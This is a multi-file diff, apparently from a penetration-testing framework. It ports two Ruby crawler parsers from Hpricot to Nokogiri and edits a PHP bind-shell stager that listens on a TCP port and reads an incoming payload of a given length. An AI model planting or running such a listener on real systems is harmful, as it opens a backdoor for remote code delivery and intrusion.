|
|||
|
|
@ -13,36 +13,25 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerObjects < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
return unless result['Content-Type'].include?('text/html') # TOOD: use MIXIN
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search("//object/embed").each do |obj|
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath("//object/embed").each do |obj|
|
||||
s = obj['src']
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
|||
|
|
@ -13,36 +13,27 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerScripts < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include? "text/html"
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search("//script").each do |obj|
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath("//script").each do |obj|
|
||||
s = obj['src']
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
|||
|
|
@ -9,24 +9,27 @@ if (is_callable('stream_socket_server')) {
|
|||
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
|
||||
if (!$srvsock) { die(); }
|
||||
$s = stream_socket_accept($srvsock, -1);
|
||||
fclose($srvsock);
|
||||
$s_type = 'stream';
|
||||
} elseif (is_callable('socket_create_listen')) {
|
||||
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} elseif (is_callable('socket_create')) {
|
||||
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_bind($srvsock, $ipaddr, $port);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die();
|
||||
}
|
||||
if (!$s) { die(); }
|
||||
|
||||
switch ($s_type) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
|
|
@ -40,7 +43,7 @@ $len = $a['len'];
|
|||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
|
|
|
|||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue